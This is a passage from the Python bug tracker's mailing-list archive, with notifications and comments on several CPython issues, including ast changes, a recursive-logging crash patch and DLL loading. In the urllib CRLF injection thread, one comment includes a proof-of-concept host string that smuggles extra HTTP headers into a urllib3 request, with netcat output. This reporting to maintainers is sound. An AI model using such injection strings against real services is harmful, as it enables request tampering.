Message-ID: <1552449125.61.0.448776703117.issue36279@roundup.psfhosted.org>


Change by Roundup Robot <devnull at psf.upfronthosting.co.za>:


----------
keywords: +patch
pull_requests: +12278
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36279>
_______________________________________

From report at bugs.python.org  Wed Mar 13 00:00:38 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 13 Mar 2019 04:00:38 +0000
Subject: [issue36280] Add kind field to ast.Constant,
 to distinguish u"..." from "..." for type checkers
Message-ID: <1552449638.16.0.631899797534.issue36280@roundup.psfhosted.org>


Change by Guido van Rossum <guido at python.org>:


----------
keywords: +patch
pull_requests: +12279
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36280>
_______________________________________

From report at bugs.python.org  Wed Mar 13 00:00:08 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 13 Mar 2019 04:00:08 +0000
Subject: [issue36280] Add kind field to ast.Constant,
 to distinguish u"..." from "..." for type checkers
Message-ID: <1552449608.75.0.0828502310498.issue36280@roundup.psfhosted.org>


Change by Guido van Rossum <guido at python.org>:


----------
assignee: gvanrossum
nosy: gvanrossum
priority: normal
severity: normal
status: open
title: Add kind field to ast.Constant, to distinguish u"..." from "..." for type checkers
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36280>
_______________________________________

From report at bugs.python.org  Wed Mar 13 00:16:19 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 13 Mar 2019 04:16:19 +0000
Subject: [issue36280] Add kind field to ast.Constant,
 to distinguish u"..." from "..." for type checkers
Message-ID: <1552450579.22.0.237848259994.issue36280@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

Maybe use a special subclass of Constant for indicating string literals with the "u" prefix?

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36280>
_______________________________________

From report at bugs.python.org  Wed Mar 13 01:39:08 2019
From: report at bugs.python.org (KunYu Chen)
Date: Wed, 13 Mar 2019 05:39:08 +0000
Subject: [issue36260] Cpython/Lib vulnerability found and request a patch
 submission
In-Reply-To: <1552288618.75.0.236192047967.issue36260@roundup.psfhosted.org>
Message-ID: <1552455548.35.0.91068483508.issue36260@roundup.psfhosted.org>


KunYu Chen <xspiritualx at gmail.com> added the comment:

Thank you Karthikeyan Singaravelan.
We're working on it :D

Kunyu Chen

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36260>
_______________________________________

From report at bugs.python.org  Wed Mar 13 02:00:36 2019
From: report at bugs.python.org (Larry Hastings)
Date: Wed, 13 Mar 2019 06:00:36 +0000
Subject: [issue35647] Cookie path check returns incorrect results
In-Reply-To: <1546502396.67.0.243403156352.issue35647@roundup.psfhosted.org>
Message-ID: <1552456836.03.0.157913905949.issue35647@roundup.psfhosted.org>


Larry Hastings <larry at hastings.org> added the comment:

You should not assign bugs to the RM who will merge the PR.

----------
assignee: larry -> 

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35647>
_______________________________________

From report at bugs.python.org  Wed Mar 13 02:05:54 2019
From: report at bugs.python.org (Alvin Chang)
Date: Wed, 13 Mar 2019 06:05:54 +0000
Subject: [issue36276] Python urllib CRLF injection vulnerability
In-Reply-To: <1552440411.97.0.7095697352.issue36276@roundup.psfhosted.org>
Message-ID: <1552457154.59.0.528672238961.issue36276@roundup.psfhosted.org>


Alvin Chang <achang at varomoney.com> added the comment:

I am also seeing the same issue with urllib3 

import urllib3

pool_manager = urllib3.PoolManager()

host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "http://" + host + ":8080/test/?test=a"

try:
    info = pool_manager.request('GET', url).info()
    print(info)
except Exception:
    pass

nc -l localhost 7777
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Host: localhost:7777
Accept-Encoding: identity

----------
nosy: +alvinchang

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36276>
_______________________________________

From report at bugs.python.org  Wed Mar 13 02:50:36 2019
From: report at bugs.python.org (Eryk Sun)
Date: Wed, 13 Mar 2019 06:50:36 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552459836.31.0.188652564605.issue36085@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

> Since I just dug enough to find it, the best way to diagnose problems 
> with dependent DLLs not being found is probably to run Process Monitor 
> [1] while doing the import and checking its logs. It should show the 
> paths that were attempted to be accessed.

Don't forget loader snaps, which we can log using a standard debugger such as WinDbg or by attaching a Python script as a debugger (e.g. debug a child process via the DEBUG_PROCESS creation flag). For the latter, we need a debug-event loop (i.e. WaitForDebugEventEx via ctypes) that logs debug-string events. This will show the paths that the loader checks and the load attempts that fail with STATUS_DLL_NOT_FOUND (0xC0000135). We have to first enable loader snaps for the executable by setting a flag value of 2 in the "GlobalFlag" DWORD in the key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable name>". Or use gflags.exe to set this value.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Wed Mar 13 03:26:37 2019
From: report at bugs.python.org (Peixing Xin)
Date: Wed, 13 Mar 2019 07:26:37 +0000
Subject: [issue31904] Python should support VxWorks RTOS
In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za>
Message-ID: <1552461997.06.0.105510517415.issue31904@roundup.psfhosted.org>


Change by Peixing Xin <peixing.xin at windriver.com>:


----------
pull_requests: +12280

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31904>
_______________________________________

From report at bugs.python.org  Wed Mar 13 03:38:38 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 13 Mar 2019 07:38:38 +0000
Subject: [issue36276] Python urllib CRLF injection vulnerability
In-Reply-To: <1552440411.97.0.7095697352.issue36276@roundup.psfhosted.org>
Message-ID: <1552462718.59.0.111619336738.issue36276@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36276>
_______________________________________

From report at bugs.python.org  Wed Mar 13 05:25:39 2019
From: report at bugs.python.org (Dima Tisnek)
Date: Wed, 13 Mar 2019 09:25:39 +0000
Subject: [issue32528] Change base class for futures.CancelledError
In-Reply-To: <1515601875.1.0.467229070634.issue32528@psf.upfronthosting.co.za>
Message-ID: <1552469139.2.0.406247251136.issue32528@roundup.psfhosted.org>


Dima Tisnek <dimaqq at gmail.com> added the comment:

ping

----------
nosy: +Dima.Tisnek

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32528>
_______________________________________

From report at bugs.python.org  Wed Mar 13 05:43:53 2019
From: report at bugs.python.org (Peixing Xin)
Date: Wed, 13 Mar 2019 09:43:53 +0000
Subject: [issue31904] Python should support VxWorks RTOS
In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za>
Message-ID: <1552470233.47.0.0979830439343.issue31904@roundup.psfhosted.org>


Change by Peixing Xin <peixing.xin at windriver.com>:


----------
pull_requests: +12281

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31904>
_______________________________________

From report at bugs.python.org  Wed Mar 13 06:01:35 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Wed, 13 Mar 2019 10:01:35 +0000
Subject: [issue27497] csv module: Add return value to DictWriter.writeheader
In-Reply-To: <1468336448.04.0.83850338242.issue27497@psf.upfronthosting.co.za>
Message-ID: <1552471295.84.0.387213485332.issue27497@roundup.psfhosted.org>


Change by R?mi Lapeyre <remi.lapeyre at henki.fr>:


----------
pull_requests: +12282

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27497>
_______________________________________

From report at bugs.python.org  Wed Mar 13 06:02:45 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Wed, 13 Mar 2019 10:02:45 +0000
Subject: [issue27497] csv module: Add return value to DictWriter.writeheader
In-Reply-To: <1468336448.04.0.83850338242.issue27497@psf.upfronthosting.co.za>
Message-ID: <1552471365.49.0.767536546246.issue27497@roundup.psfhosted.org>


Change by R?mi Lapeyre <remi.lapeyre at henki.fr>:


----------
versions: +Python 3.8 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27497>
_______________________________________

From report at bugs.python.org  Wed Mar 13 06:11:40 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Wed, 13 Mar 2019 10:11:40 +0000
Subject: [issue34713] csvwriter.writerow()'s return type is undocumented
In-Reply-To: <1537204445.4.0.956365154283.issue34713@psf.upfronthosting.co.za>
Message-ID: <1552471900.95.0.890769223581.issue34713@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

Issue #27497 is related, it adds documentation a return value and documentation to csv.DictWriter.writeheader which uses writerow internally. 

In the discussion, @lsowen found code that uses it at https://docs.djangoproject.com/en/1.9/howto/outputting-csv/#streaming-large-csv-files.

Given that this behavior has been added to csv.DictWriter.writeheader it makes sense to document csv.Writer.writerow. Do you want to post a pull request?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34713>
_______________________________________

From report at bugs.python.org  Wed Mar 13 06:16:29 2019
From: report at bugs.python.org (SilentGhost)
Date: Wed, 13 Mar 2019 10:16:29 +0000
Subject: [issue36279] os.wait3() leaks some uninitialized stack when no
 processes exist
In-Reply-To: <1552447660.04.0.72531550499.issue36279@roundup.psfhosted.org>
Message-ID: <1552472189.28.0.717966028735.issue36279@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
components: +Library (Lib)
nosy: +neologix
type:  -> resource usage
versions: +Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36279>
_______________________________________

From report at bugs.python.org  Wed Mar 13 06:18:31 2019
From: report at bugs.python.org (SilentGhost)
Date: Wed, 13 Mar 2019 10:18:31 +0000
Subject: [issue36274] http.client cannot send non-ASCII request lines
In-Reply-To: <1552422803.93.0.420596825145.issue36274@roundup.psfhosted.org>
Message-ID: <1552472311.21.0.0758577255323.issue36274@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +orsenthil
versions:  -Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36274>
_______________________________________

From report at bugs.python.org  Wed Mar 13 06:27:42 2019
From: report at bugs.python.org (SilentGhost)
Date: Wed, 13 Mar 2019 10:27:42 +0000
Subject: [issue36271] '_io.TextIOWrapper' object has no attribute 'mode'
In-Reply-To: <1552401043.29.0.979236036871.issue36271@roundup.psfhosted.org>
Message-ID: <1552472862.69.0.282915178022.issue36271@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +pitrou
type:  -> behavior
versions: +Python 3.8 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36271>
_______________________________________

From report at bugs.python.org  Wed Mar 13 06:37:42 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 13 Mar 2019 10:37:42 +0000
Subject: [issue35661] Store the venv prompt in pyvenv.cfg
In-Reply-To: <1546649882.91.0.811189740909.issue35661@roundup.psfhosted.org>
Message-ID: <1552473462.02.0.518347661441.issue35661@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Looks like the buildbot is happy now.  Thank you everyone!

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35661>
_______________________________________

From report at bugs.python.org  Wed Mar 13 06:41:03 2019
From: report at bugs.python.org (Saim Raza)
Date: Wed, 13 Mar 2019 10:41:03 +0000
Subject: [issue36272] Recursive logging crashes Interpreter in Python 3
In-Reply-To: <1552402023.14.0.591990270381.issue36272@roundup.psfhosted.org>
Message-ID: <1552473663.86.0.361702412336.issue36272@roundup.psfhosted.org>


Saim Raza <saimorsaim at gmail.com> added the comment:

Stack exhaustion doesn't seem to be due to be the root cause. A simple recursive function doesn't crash the interpreter in Python 3.6.

>>> def rec(): rec()
>>> rec()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 1, in rec
  File "<stdin>", line 1, in rec
  File "<stdin>", line 1, in rec
  [Previous line repeated 995 more times]
RecursionError: maximum recursion depth exceeded

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36272>
_______________________________________

From report at bugs.python.org  Wed Mar 13 07:20:00 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Wed, 13 Mar 2019 11:20:00 +0000
Subject: [issue36272] Recursive logging crashes Interpreter in Python 3
In-Reply-To: <1552402023.14.0.591990270381.issue36272@roundup.psfhosted.org>
Message-ID: <1552476000.03.0.185578777561.issue36272@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

I'm not sure issue35542. I think this happens because while logging the recursion limit is hit which calls https://github.com/python/cpython/blob/master/Python/ceval.c#L535-L539.

The RecursionError is then handled by https://github.com/python/cpython/blob/master/Lib/logging/__init__.py#L1000 and cleared.

On subsequent calls the exception is not set anymore because `tstate->overflowed` equals 1 so we exit early before setting the exception again at https://github.com/python/cpython/blob/master/Python/ceval.c#L531.

This goes on until the condition on https://github.com/python/cpython/blob/master/Python/ceval.c#L531 pass which abort the interpreter.

I think there is two ways to solve the issue, either handle RecursionError explicitly in the logging module so we don't clear it inadvertently as there is no way to recover from it anyway or check if the exception has been cleared at https://github.com/python/cpython/blob/master/Python/ceval.c#L531 and set it again.

Handling it explictly in the logging module would not help for code doing this elsewhere:

def rec():
    try:
        rec()
    except:
        rec()
rec()


I can submit a patch if you want.

----------
nosy: +remi.lapeyre
versions: +Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36272>
_______________________________________

From report at bugs.python.org  Wed Mar 13 07:32:54 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Wed, 13 Mar 2019 11:32:54 +0000
Subject: [issue36272] Recursive logging crashes Interpreter in Python 3
In-Reply-To: <1552402023.14.0.591990270381.issue36272@roundup.psfhosted.org>
Message-ID: <1552476774.44.0.898008138242.issue36272@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

The following patch fixes the issue and raise RecursionError as expecting without core dump:

diff --git a/Lib/logging/__init__.py b/Lib/logging/__init__.py
index b4659af7cc..7457549cb9 100644
--- a/Lib/logging/__init__.py
+++ b/Lib/logging/__init__.py
@@ -1094,6 +1094,8 @@ class StreamHandler(Handler):
             # issue 35046: merged two stream.writes into one.
             stream.write(msg + self.terminator)
             self.flush()
+        except RecursionError as e:
+            raise
         except Exception:
             self.handleError(record)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36272>
_______________________________________

From report at bugs.python.org  Wed Mar 13 07:49:01 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 13 Mar 2019 11:49:01 +0000
Subject: [issue36272] Recursive logging crashes Interpreter in Python 3
In-Reply-To: <1552402023.14.0.591990270381.issue36272@roundup.psfhosted.org>
Message-ID: <1552477741.46.0.647610717832.issue36272@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

> Stack exhaustion doesn't seem to be due to be the root cause. A simple recursive function doesn't crash the interpreter in Python 3.6.

Yes, sorry I got misleaded. I have added logging module author, @vinay.sajip to the issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36272>
_______________________________________

From report at bugs.python.org  Wed Mar 13 08:33:07 2019
From: report at bugs.python.org (gaborbernat)
Date: Wed, 13 Mar 2019 12:33:07 +0000
Subject: [issue21822] KeyboardInterrupt during Thread.join hangs that Thread
In-Reply-To: <1403365475.16.0.757881205569.issue21822@psf.upfronthosting.co.za>
Message-ID: <1552480387.24.0.917767090243.issue21822@roundup.psfhosted.org>


gaborbernat <gaborjbernat at gmail.com> added the comment:

I think I'm hitting this with subprocesses inside tox (parallel feature), any plans to fix this?

----------
nosy: +gaborbernat

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21822>
_______________________________________

From report at bugs.python.org  Wed Mar 13 08:47:35 2019
From: report at bugs.python.org (Dian saputra)
Date: Wed, 13 Mar 2019 12:47:35 +0000
Subject: [issue36173] BROTHER PRINTER CENTER
In-Reply-To: <1551650937.91.0.800638313228.issue36173@roundup.psfhosted.org>
Message-ID: <CAPzspzqgk6EV1HQ1hE8DmQ2BnSOsU+bH6DZ85eGZbkhBqk6S_Q@mail.gmail.com>


Dian saputra <sdian52 at gmail.com> added the comment:

My website not spam..
Please your klik url https://brotherprintercenter.com..

Thank you..

Pada tanggal Sen, 4 Mar 2019 05.09, Steven D'Aprano <report at bugs.python.org>
menulis:

>
> New submission from Steven D'Aprano <steve+python at pearwood.info>:
>
> No details given and a spammy, irrelevant title. Closing.
>
> Dianmatang, if you are an actual person and not a spam bot, please try
> adding details of the bug, and using a more informative title.
>
> ----------
> nosy: +steven.daprano
> resolution:  -> not a bug
> stage:  -> resolved
> status: open -> closed
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36173>
> _______________________________________
>

----------
title: apam -> BROTHER PRINTER CENTER

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36173>
_______________________________________

From report at bugs.python.org  Wed Mar 13 09:09:01 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 13 Mar 2019 13:09:01 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552482541.78.0.0949981729046.issue30040@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
keywords: +patch
pull_requests: +12283
stage: resolved -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Wed Mar 13 09:12:55 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 13 Mar 2019 13:12:55 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552482775.08.0.218501314235.issue30040@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
pull_requests: +12284

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Wed Mar 13 09:20:54 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 13 Mar 2019 13:20:54 +0000
Subject: [issue36263] test_hashlib.test_scrypt() fails on Fedora 29
In-Reply-To: <1552317311.05.0.612992750251.issue36263@roundup.psfhosted.org>
Message-ID: <1552483254.96.0.79744138123.issue36263@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> Oh, the Fedora package of OpenSSL 1.1.1b includes this downstream patch (...) The patch changes the behavior for (salt=NULL, saltlen=0) (...)

I reported the issue to OpenSSL in Fedora:
https://bugzilla.redhat.com/show_bug.cgi?id=1688284

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36263>
_______________________________________

From report at bugs.python.org  Wed Mar 13 09:21:02 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 13 Mar 2019 13:21:02 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552483262.1.0.278291177178.issue30040@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

I created two PRs.  PR 12307 just optimize inserting to empty dict.
PR 12308 has same optimization and removes shared empty key (ma_keys = NULL).

I confirmed PR 12307 is faster than before about `d = {}; d["a"]=None`.
I'll benchmark them later.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Wed Mar 13 09:22:54 2019
From: report at bugs.python.org (Saba Kauser)
Date: Wed, 13 Mar 2019 13:22:54 +0000
Subject: [issue36269] post install in setup.py does not work when executed
 through pip
In-Reply-To: <1552393767.37.0.436750390868.issue36269@roundup.psfhosted.org>
Message-ID: <1552483374.77.0.941742991683.issue36269@roundup.psfhosted.org>


Saba Kauser <skauseribmdb at gmail.com> added the comment:

I am able to get this to work.
I just needed to invoke parent's run prior to the post install commands.

if('darwin' in sys.platform):
    class PostInstall(install):
        """ Post installation - run install_name_tool on Darwin """
        def run(self):
            install.run(self)
            clipath = os.getenv('IBM_DB_HOME', '@loader_path/clidriver')
            print("in PostInstall with {}".format(clipath))
            for so in glob.glob(r'build/lib*/ibm_db*.so'):
                os.system("install_name_tool -change libdb2.dylib {}/lib/libdb2.dylib {}".format(clipath, so))
            
    cmd_class = dict(install = PostInstall)

----------
resolution:  -> fixed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36269>
_______________________________________

From report at bugs.python.org  Wed Mar 13 09:23:05 2019
From: report at bugs.python.org (Saba Kauser)
Date: Wed, 13 Mar 2019 13:23:05 +0000
Subject: [issue36269] post install in setup.py does not work when executed
 through pip
In-Reply-To: <1552393767.37.0.436750390868.issue36269@roundup.psfhosted.org>
Message-ID: <1552483385.21.0.767852523471.issue36269@roundup.psfhosted.org>


Change by Saba Kauser <skauseribmdb at gmail.com>:


----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36269>
_______________________________________

From report at bugs.python.org  Wed Mar 13 10:17:49 2019
From: report at bugs.python.org (Ned Deily)
Date: Wed, 13 Mar 2019 14:17:49 +0000
Subject: [issue36173] BROTHER PRINTER CENTER
In-Reply-To: <1551650937.91.0.800638313228.issue36173@roundup.psfhosted.org>
Message-ID: <1552486669.48.0.907273035985.issue36173@roundup.psfhosted.org>


Change by Ned Deily <nad at python.org>:


----------
Removed message: https://bugs.python.org/msg337847

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36173>
_______________________________________

From report at bugs.python.org  Wed Mar 13 10:18:40 2019
From: report at bugs.python.org (Ned Deily)
Date: Wed, 13 Mar 2019 14:18:40 +0000
Subject: [issue36173] spam
In-Reply-To: <1551650937.91.0.800638313228.issue36173@roundup.psfhosted.org>
Message-ID: <1552486720.65.0.525625560762.issue36173@roundup.psfhosted.org>


Change by Ned Deily <nad at python.org>:


----------
nosy:  -Dianmatang, steven.daprano
title: BROTHER PRINTER CENTER -> spam

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36173>
_______________________________________

From report at bugs.python.org  Wed Mar 13 10:18:54 2019
From: report at bugs.python.org (Ned Deily)
Date: Wed, 13 Mar 2019 14:18:54 +0000
Subject: [issue36173] spam
Message-ID: <1552486734.79.0.327980263443.issue36173@roundup.psfhosted.org>


Change by Ned Deily <nad at python.org>:


----------
Removed message: https://bugs.python.org/msg337047

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36173>
_______________________________________

From report at bugs.python.org  Wed Mar 13 10:19:12 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Wed, 13 Mar 2019 14:19:12 +0000
Subject: [issue36277] pdb's recursive debug command is not listed in the docs
In-Reply-To: <1552441297.14.0.332408963845.issue36277@roundup.psfhosted.org>
Message-ID: <1552486752.14.0.462989355852.issue36277@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

As far as I can tell, the list of pdb commands is:
  - commands
  - break
  - tbreak
  - enable
  - disable
  - condition
  - ignore
  - clear
  - where
  - up
  - down
  - until
  - step
  - next
  - run
  - return
  - continue
  - jump
  - debug
  - quit
  - args
  - retval
  - p
  - pp
  - list
  - longlist
  - source
  - whatis
  - display
  - undisplay
  - interact
  - alias
  - unalias
  - help

Those not in the documentation are debug and retval.

Can you open a new pull request to document them?

----------
nosy: +remi.lapeyre
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36277>
_______________________________________

From report at bugs.python.org  Wed Mar 13 10:47:17 2019
From: report at bugs.python.org (Petr Viktorin)
Date: Wed, 13 Mar 2019 14:47:17 +0000
Subject: [issue36225] Lingering subinterpreters should be implicitly cleared
 on shutdown
In-Reply-To: <1551964663.69.0.686712846789.issue36225@roundup.psfhosted.org>
Message-ID: <1552488437.5.0.28367673577.issue36225@roundup.psfhosted.org>


Petr Viktorin <encukou at gmail.com> added the comment:

Joannah, yes, that looks like a good place. Eric Snow might have more info; he wrote that module.

As for testing Py_FatalError, there's an assert_python_failure function in test.support.script_helper.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36225>
_______________________________________

From report at bugs.python.org  Wed Mar 13 10:52:11 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 13 Mar 2019 14:52:11 +0000
Subject: [issue36280] Add kind field to ast.Constant,
 to distinguish u"..." from "..." for type checkers
In-Reply-To: <1552450579.22.0.237848259994.issue36280@roundup.psfhosted.org>
Message-ID: <1552488731.86.0.633363764049.issue36280@roundup.psfhosted.org>


Guido van Rossum <guido at python.org> added the comment:

> Maybe use a special subclass of Constant for indicating string literals with the "u" prefix?

That would indeed be more convenient, as it requires fewer code and test changes. Are there examples of such classes in Python.asdl?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36280>
_______________________________________

From report at bugs.python.org  Wed Mar 13 11:11:20 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 13 Mar 2019 15:11:20 +0000
Subject: [issue36280] Add kind field to ast.Constant,
 to distinguish u"..." from "..." for type checkers
In-Reply-To: <1552450579.22.0.237848259994.issue36280@roundup.psfhosted.org>
Message-ID: <1552489880.23.0.216094579709.issue36280@roundup.psfhosted.org>


Guido van Rossum <guido at python.org> added the comment:

On second thought, even though it's a subclass, it feels less consistent than an extra attribute. So I'd rather keep the current approach (kind -> 'u' or None).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36280>
_______________________________________

From report at bugs.python.org  Wed Mar 13 11:50:04 2019
From: report at bugs.python.org (Antony Lee)
Date: Wed, 13 Mar 2019 15:50:04 +0000
Subject: [issue36277] pdb's recursive debug command is not listed in the docs
In-Reply-To: <1552441297.14.0.332408963845.issue36277@roundup.psfhosted.org>
Message-ID: <1552492204.42.0.0981926805101.issue36277@roundup.psfhosted.org>


Antony Lee <anntzer.lee at gmail.com> added the comment:

I'll pass on that for now.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36277>
_______________________________________

From report at bugs.python.org  Wed Mar 13 12:03:37 2019
From: report at bugs.python.org (mattip)
Date: Wed, 13 Mar 2019 16:03:37 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552493017.51.0.166933652486.issue36085@roundup.psfhosted.org>


mattip <matti.picus at gmail.com> added the comment:

@eryksun - is there a sample resource: blog post, code snippet, msdn documentation, that demonstrates how that all works? 

I personally find the MSDN documentation of "what happens when I call LoadLibraryEx" not very user friendly. They seem to be written to document the system calls and not to explain the user experience. A diagram with some examples of setting and debugging this would go a long way to helping users enter the right mindset to debug failures to load DLLs because the support dlls they depend on are not found

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Wed Mar 13 12:12:26 2019
From: report at bugs.python.org (Brandt Bucher)
Date: Wed, 13 Mar 2019 16:12:26 +0000
Subject: [issue36229] Linear-time list, set, and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552493546.74.0.85895540161.issue36229@roundup.psfhosted.org>


Brandt Bucher <brandtbucher at gmail.com> added the comment:

I'm sorry, Raymond. I didn't mean to imply that this is a problem that needs fixing. I just saw an opportunity for a cheap, effective performance boost for a potentially expensive operation. Thanks for clarifying.

And on users "expecting" copies: many advanced Python programmers I know still recently thought that "a < b < c" was evaluated as "(a < b) < c". It's nice to be pleasantly surprised with "better" behavior... especially when this pretty solidly falls under the category of "implementation detail", since it's not outwardly visible.

And speaking of visibility:

> Beyond that, is it actually safe for set operations?

I'm not sure how it wouldn't be. None of the sets in your example should be able to be mutated, since the operation you described doesn't hit the new branch at all.

I've also spent parts of yesterday and today trying to craft malicious objects/threads that do what you described, and haven't been able to. I've found main roadblock to doing so is the fact that the named references still aren't mutated, and the first (and only) intermediate copy is invisible to everything except PyNumberAdd. I also haven't been able to get a handle to the left-hand set in a subsequent "+" operation from a contained object. Maybe I misunderstood you, though.

However, both of you are much better engineers than I am, so I'll defer to your judgement here. If the set portion of the PR seems vulnerable, I'm eager to modify or remove it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Wed Mar 13 12:16:24 2019
From: report at bugs.python.org (Brandt Bucher)
